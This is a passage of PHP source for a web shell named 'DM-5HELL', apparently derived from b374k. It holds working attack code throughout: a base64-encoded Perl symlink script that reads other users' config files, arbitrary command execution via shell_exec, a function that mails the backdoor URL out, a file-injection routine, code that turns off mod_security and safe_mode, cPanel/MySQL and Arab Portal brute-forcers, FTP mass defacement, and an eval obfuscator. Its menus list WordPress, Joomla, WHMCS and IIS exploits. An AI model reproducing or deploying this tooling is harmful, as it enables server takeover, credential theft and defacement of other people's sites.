mxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLicyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLicyMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJzI0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nMjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLicyNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLicyNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLicyOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nMjkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLiczMC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb2R1Y3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3RyaWFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQoNCn0NCg0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQogIHJlYWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KfSBlbHNlIHsNCiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KfQ0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsNCmZvcmVhY2ggJHBhaXIgKEBwYWlycykgew0KICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiAgJG5hbWUgPX4gdHIvKy8gLzsNCiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJHZhbHVlID1+IHRyLysvIC87DQogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkRk9STXskbmFtZX0gPSAkdmFsdWU7DQp9DQppZiAoJEZPUk17cGFzc30gZXEgIiIpew0KcHJpbnQgJw0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8aDE+PGk+PHU+LS09W1sgRE0gVEU0TSBdXT0tLTwvdT48L2k+PC9oMT4NCjxiciAvPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRiIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IiBIQUpBUiBDT1kgIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojRkZGRkZGOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwvcD4NCjwvZm9ybT48YnIgLz48YnIgLz4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5TRUxFU0FJIEJPUyB8fCBDRUsgRk9MREVSIElNQUdFUzwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5Eb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7";
$write = fwrite($f2 ,base64_decode($sml_perl));
if($write)
{@chmod('image/anu.pl',0755);}
echo "<center><iframe src=image/anu.pl width=96% height=126% frameborder=0></iframe></div>"; 
}
}

## ***** x=dmwp ***** ##
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwp')) {
// wordpress bruteforce
// wordpress index changer
// wordpress password changer

echo '<center><br/><br/><img src="http://s.wordpress.org/about/images/logos/wordpress-logo-hoz-rgb.png"><br/><br/> <nobr><b><span class="b7">O=:[ WORDPRESS</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
<div id="menu" align="center"><table><tr>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=wp1">WP BRUTEFORCE</a></b></td> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=wp2">WP AUTO DEFACE</a></b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=wp3">WP PASSWORD CHANGER</a></b></td> 
</tr></table></div><br/>';
}

## ***** x=dmvb ***** ##
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmvb')) {
// vbullettin index changer
// vbulletin password changer

echo '<center><br/><br/>
<img src="http://forum.paradoxplaza.com/forum/images/mobile/vbulletin-logo.png"><br/><br/><nobr><b><span class="b7">O=:[ VBULLETIN</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
<div id="menu" align="center"><table><tr>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=vb1">VB INDEX CHANGER</a></b></td> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=vb2">VB PASSWORD CHANGER</a></b></td>
</tr></table></div><br/>';
}
 
## ***** x=dmjm ***** ##
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmjm')) {
// joomla bruteforce
// exploit joomla jce uploader
// joomla password changer

echo '<center><br/><br/><img src="http://www.payingdialer.com/images/joomla-logo.png"><br/><br/> <nobr><b><span class="b7">O=:[ JOOMLA</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
<div id="menu" align="center"><table><tr>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=jm1">BRUTEFORCE LOGIN</a></b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=jm2">INDEX DEFACE</a></b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=jm3">JCE UPLOADER</a>
</b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=jm4">PASSWORD CHANGER</a></b></td> 
</tr></table></div><br/>';
} 

## ***** x=whmcs2 ***** ##
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs2')) {
// whmcs inject shell
// whmcs bypass security token 
// whmcs password changer
// whmcs auto exploiter

echo '<center><br/><br/><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/><nobr><b><span class="b7">O=:[ WHMCS</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
<div id="menu" align="center"><table><tr>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs1">GRAB PASSWORD CLIENT</a></b></td> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs2">INJECT SHELL</a></b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs3">PASSWORD CHANGER</a></b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs4">BYPASS AUTH LOGIN</a></b></td>
</tr></table></div><br/>
<div id="menu" align="center"><table><tr>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs5">WHMCS 5.2.7 [php]</a></b></td> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs6">WHMCS 5.2.7 [python]</a></b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs7">WHMCS 5.28 [php]</a></b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs8">WHMCS 5.2.8 [python]</a></b></td>
</tr></table></div><br/>

<div id="menu" align="center"><table><tr> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs9">CHECK LICENSE & VERSION</a></b></td> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs10">v5.2.7 VULN SCANNER</a></b></td> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=dmwhmcs11">SCAN CMS WHMCS</a></b></td> 
</table></div><br/><br/> '; 
}

## ***** x=cpanel ***** ##
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')) {
// cpanel bruteforce
// cpanel mass deface
// cpanel bruteforce using config

echo '<center><br/><br/><img src="http://earthnexus.com/images/cpanel_logo.gif"><br/><br/> <nobr><b><span class="b7">O=:[ CPANEL</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
<div id="menu" align="center"><table><tr>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=cp1">BRUTEFORCE CP LOGIN</a></b></td> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=cp2">BRUTEFORCE CP AUTO DEFACE</a></b></td>
<td align=center><b><a href="?dm='.$pwd.'&amp;x=cp3">BRUTEFORCE CONFIG CP </a></b></td>
 
</tr></table></div><br/>';
}

## ***** x=iis7 ***** ##
elseif(isset($_GET['x']) && ($_GET['x'] == 'iis7')) {

echo '<center><br/><br/><img src="http://www.codeblog.co.uk/wp-content/uploads/2010/06/iis7-300x215.jpg"><br/><br/> <nobr><b><span class="b7">O=:[ WINDOWS IIS7</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
<div id="menu" align="center"><table><tr> 

<td align=center><b><a href="?dm='.$pwd.'&amp;x=iis7httpd">HTTPD EXPLOIT</a></b></td> 
<td align=center><b><a href="?dm='.$pwd.'&amp;x=iis7port">PORT EXPLOIT</a></b></td>
</tr></table></div><br/>';
} 


# x=posisi
elseif(isset($_GET['x']) && ($_GET['x'] == 'posisi')) { 

function curPageURL() {
$pageURLe = 'http';
if($_SERVER["HTTPS"] == "on"){
$pageURL .= "s";
}
$pageURLe .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURLe .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURLe .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURLe;
}
$votremail=$_SERVER['SERVER_ADMIN'];
$objet='BACKDOOR SHELL';
$message=curPageURL();
$headers='From:'.$votremail."
".'To:'.$destinataire."
".'Subject:'.$objet."
".'Content-type:text/plain;charset=iso-8859-1'."
".'Sent:'.date('l, F d, Y H:i'); 
if(mail($destination,$objet,$message,$headers))
{
echo "<br><center><b></b><br/><p><b>[+] $destination [+]</b><center>";}
else
{
echo "<br><center><font size=4 color=red>Error Saving Backdoor</font><center>";
}
}
else if(isset($_POST['executecmd']))
{
$check = shell_exec($_POST['mycmd']);
echo "<textarea cols=120 rows=20 class=box>" . $check . "</textarea>";
}


elseif(isset($_GET['x']) && ($_GET['x'] == 'inject')){
?>
<center><table id="margins" >
<tr>
<form method='POST'><input type="hidden" name="injector"/>  
<tr><td width="30" class="title">
DIR :  <input class="inputz" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>"/></td></tr>
<tr><td class="title">
Mode : <select class="inputz"  name="mode"  style="width:130px;">
<option value="Apender">SEMI INJECT</option>
<option value="Overwriter">FULL Inject</option>
</select></td></tr>
<tr><td class="title">
File Type : <input type="text" class="inputz" name="filetype" value=".php" onBlur="if(this.value=='')this.value='.php';"/></td></tr>
<tr><td colspan="2">
<textarea name="injectthis" cols="110" rows="10" class="inputz">
<?php echo base64_decode("PGh0bWw+DQo8aGVhZD48dGl0bGU+Li9INENLM0QgQlkgRzRudDNuRzNyejwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+DQpURVJJTUEgS0FTSUggR1VFIEdBTlRFTkcgOnYNCjwvYm9keT4NCjwvaHRtbD4="); ?>
</textarea></td></tr>
<tr><td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="inputz" value=" INJECT CODE :P "/></td></tr>
</form></table></center>
        


<?php 
}
#  x=bforce1
elseif(isset($_GET['x']) && ($_GET['x'] == 'bruteforce'))
{

$f =@fopen ('users.txt','w');
if(!$users=get_users()) { 
echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; 
}
else {
foreach($users as $user) { 
@fwrite($f , $user); 
@fwrite($f , "
"); 
}
}
echo '<br><center><font size=3 color=green>[+] BUKA users.txt <a href=dmshell.txt target=blank>_DISINI_</a> COPY & PASTE DI KOLOM USER [+]</font></center><BR>';
 ?> 

<form method="POST" target="_self">

<input name="page" type="hidden" value="find">        				
<table width="33%"  cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="usernames"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input class="inputz" type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input class="inputz" type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td></tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class="inputz" type="submit" value="_START CRACK _"></strong>
</td><tr></form>   


<?php
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){

$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}
elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "[+] Username ( <b><font color=green>$user</font></b> ) Password ( <b><font color=green>$pass</font></b> ) [+]<br />";
$ok++;
}
}
}
}
echo "<hr><b>DAPAT <font color=green>$ok</font> Cpanel</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}

# x=safemodeoff
elseif(isset($_GET['x']) && ($_GET['x'] == 'safemodeoff')) { 
$file_pointer = fopen(".htaccess", "w+");
fwrite($file_pointer, "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>"); 
			
$file_pointer = fopen("ini.php", "w+");
fwrite($file_pointer, "<?
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"file\"]);
ini_restore(\"safe_mode\");
ini_restore(\"open_basedir\");
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"ss\"]);
?>");

$file_pointer = fopen("php.ini", "w+");
fwrite($file_pointer, "safe_mode = Off"); 
fwrite($file_pointer, "
 disable_functions = NONE");
fclose($file_pointer); 
echo "<center>[+] Safe Mode Off Succesfully [+]</center>";
?>

<?php } 
// x=arabportal 
elseif(isset($_GET['x']) && ($_GET['x'] == 'arabportal')){	

?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=arabportal" method="post">
 
 <?php
echo "<br/><br/><nobr><b><span class='b7'>O=:[ BRUTEFORCE</span> <span class='b8'>ARAB PORTAL ]:=O</span></b></nobr><br/><br/> <form method='POST'>
<p align='center' dir='ltr'>&nbsp;<input type='text' value='http://target.com/arabportal/' name='target' size='45'>
<input type='text' value='admin' name='username'>
<br><input type='submit' value='Start Brute'>
</p>";
$site = $_POST['target']."/admin/";
$username = $_POST['username'];
# Passwords
$passwords = array('123456','123654','123123','112233','123321','102030','123451','123456789','654321','654123','123qwe','qwerty','azerty','123450','123412','121314','132132','132123','123132','123012');
	
function brute($site,$username,$password)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_URL, $site);
curl_setopt($curl,CURLOPT_POSTFIELDS,"user_name={$username}&user_pass={$password}");
@curl_setopt($curl,CURLOPT_COOKIEJAR,"cookie.txt");
@curl_setopt($curl,CURLOPT_COOKIEFILE,"cookie.txt");
$brute = curl_exec($curl);
if(eregi('<p align="center"><b><font size="4" color="#FFFFFF">', $brute))
{
echo "<center><b><font face='Tahoma' size='2'>[+] Cracked Username 
: <font color='#FF0000'>{$username}</font> &amp; Password : <font color='#FF0000'>{$password}</font></font></b>";
}
return $brute;
}
foreach($passwords as $password)
{
brute($site,$username,$password);
}
echo "</form>";
?>

 <?php } 
// x=about
elseif(isset($_GET['x']) && ($_GET['x'] == 'about')){	
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=about" method="post">
 
<?php
echo "<div align='center'><br><br>
<table class='tabnet' style='padding:0 1px;'>
<tr><th align='center'><b>DISCLAIMER</b></th></tr>
<tr><td align='left'><nobr>
<span class='b12'>THIS TOOL WAS WRITTEN FOR
EDUCATIONAL PURPOSES.</span></nobr></td></tr>
<tr><td align='left'><nobr>
<span class='b12'>ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST.</span></nobr></td></tr> 
<tr><td align='left'><nobr>
<span class='b12'> IF YOU DON'T AGREE WITH WHAT I
SAID, PLEASE DON'T USE THIS TOOL.</span></td></tr>
<tr><td align='left'><nobr>
<span class='b12'> THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR
 DAMAGE ARISING WITH THE USE OF THIS TOOL. </span></nobr></td></tr>
<tr><td align='left'><nobr>
<span class='b12'>USE IT UNDER YOUR OWN RISK !!!!!!</span>
</nobr></td></tr>
<tr><td align='left'><nobr>
<span class='b12'>THANKS...</span>
</nobr></td></tr> 
</table><br><br>
</html>";
echo "<div align='center'><br><br>
<table class='tabnet' style='padding:0 1px;'>
<tr><th align='center'><b>ABOUT DM-5HELL</b></th></tr>
<tr>
<td>
<table border=1>
<tr>
<td>Author</td>
<td>Andripzf</td>
</tr>
<tr>
<td>Design</td>
<td>Andripzf</td>
</tr>
<tr>
<td>Adding Exploit</td>
<td>Andripzf</td>
</tr>
<tr>
<td>Basic Shell</td>
<td>b374k m1n1 PHP Shell</td>
</tr>
<tr>
<td>Bypass Symlink</td>
<td><nobr>Thanks to Mauritania, Mr.Alasaek,Lagripe-Dz, PakCyber, BD Cyber Army</nobr></td>
</tr> 
<tr>
<td>Whmcs Exploit</td>
<td><nobr>Thanks to Rab3oun, g00n, theMaster,Lagripe-Dz, X3group</nobr></td>
</tr>
<tr>
<td>WP Exploit</td>
<td>Thanks to XTTG, Lagripe-Dz</td>
</tr>
<tr>
<td>Joomla Exploit</td>
<td>Thanks to XTTG, Lagripe-Dz</td>
</tr>
<tr>
<td>VB Exploit</td>
<td>Thanks to Tryag</td>
</tr>
<tr>
<td>Config Killer Exploit</td>
<td><nobr>Thanks to Indishell, Anonghost, Lagripe-Dz, Indrajith</nobr></td>
</tr>
<tr>
<td>Security Bypass Exploit</td>
<td>Thanks to Mauritania, Lagripe-Dz </td>
</tr>
<tr>
<td>Greetz To</td>
<td><nobr>Exploit-DB, 1337 0day, All Moeslim Hackers And Coders In The World</nobr></td>
</tr>
 
</table>
</td></tr> 
</table><br><br>
</html>";
?>
 
 
<?php } 
// x=coding
elseif(isset($_GET['x']) && ($_GET['x'] == 'coding')){	
// encode & decode
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=coding" method="post">

<?php {
echo "<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ ENCODE</span> <span class='b8'>DECODE ]:=O</span></b></nobr><br/><br/> 
<form method='post'><table class=tbl>
<tr><td>Method : <select name='typed' style='color:red; background-color:black; border:1px solid #666;'>
<option>Encode</option><option>Decode</decode></select> </td></tr>
<tr><td>TYPE : <select name='typenc' style='color:red; background-color:black; border:1px solid #666;'>
<option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
</td>
<tr><td>
<textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25' name='php_content'></textarea></tr>
</td></table><hr/><input style='color:#FF0000;background-color:#000000' type='submit' value='   >>   ' /><br /><hr /><br /></form></div>";

$meth_d=$_POST['typed'];
$typ_d=$_POST['typenc'];
$c_ntent=$_POST['php_content'];
$c_ntent=$c_ntent;
switch($meth_d)
{
case "Encode":
switch($typ_d)
{
case "GZINFLATE":
$res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
$res_t="<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
break;
case "GZUNCOMPRESS":
$res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
$res_t="<?php eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
break;
case "STR_ROT13":
$res_t=trim(stripslashes($c_ntent.' '),'<?php, ?>');
$res_t=base64_encode(str_rot13($res_t));
$res_t="<?php eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
break;                  
}
break;
case "Decode":
switch($typ_d)
{
case "GZINFLATE":
$res_t=gzinflate(base64_decode($c_ntent));
break;
case "GZUNCOMPRESS":
$res_t=gzuncompress(base64_decode($c_ntent));
break;
case "STR_ROT13":
$res_t=str_rot13(base64_decode($c_ntent));
break;                  
}
break;
}
echo "<center><div id=result><textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25'>".htmlspecialchars($res_t)."</textarea></center></div>";
}
?>

<?php } 
# x=sscan
elseif(isset($_GET['x']) && ($_GET['x'] == 'cp2')){
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=cp2" method="post"> 

<br/><br/><center><nobr><b><span class='b7'>O=:[ FTP MASS</span> <span class='b8'>DEFACE ]:=O</span></b></nobr><br/><br/> 
 
<form method="post">
<center>
 IP Server:<input type="text" name="ip" value="127.0.0.1" />
    <p>&nbsp;</p>
    User's List:<br>
    <textarea rows="10" style="width:35%;" name="users" value="The Users List"></textarea>
    <p>&nbsp;</p>
    Password's List:<br>
    <textarea rows="10" style="width:35%;" name="passwords" value="The Password List"></textarea>
    <p>&nbsp;</p>
    Index File Name:<input type="text" name="index_name" value="index.php" /><br>
    <p>&nbsp;</p>
    Index File Link:<input type="text" name="index_link" value="index.txt" /><br>
    <p>&nbsp;</p>
    <input type="submit" name="forest" value="Mass Deface it" /><br><br>
    </form></center>
    
<?php
set_time_limit(0);
if(isset($_POST['forest'])){
$ip=trim($_POST['ip']);
$users = explode("
",$_POST["users"]);
$passwords = explode("
",$_POST["passwords"]);
$index_name=trim($_POST['index_name']);$index_link=trim($_POST['index_link']);
     
foreach($users as $user){
foreach($passwords as $pass){
$connect_ip = ftp_connect($ip) or die("Couldn't Connect To $ip");
if(@ftp_login($connect_ip, trim($user), trim($pass))){

echo "<br>Connected To --> $ip@$user
";@ftp_delete($connect_ip,$index_name);

$deface = ftp_put($connect_ip, "/public_html/".$index_name , $index_link, FTP_ASCII);
if($deface){
echo "<br><font color=green> $user --> Deface Success!!</font>";
break;
}else{
echo "<br><font color=red> $user --> Error Defacing!!</font>";
 }
 }else{
echo "<br><font color=red>Couldn't Connect To --> $ip@$user --> $pass</font>
";
}
}
}
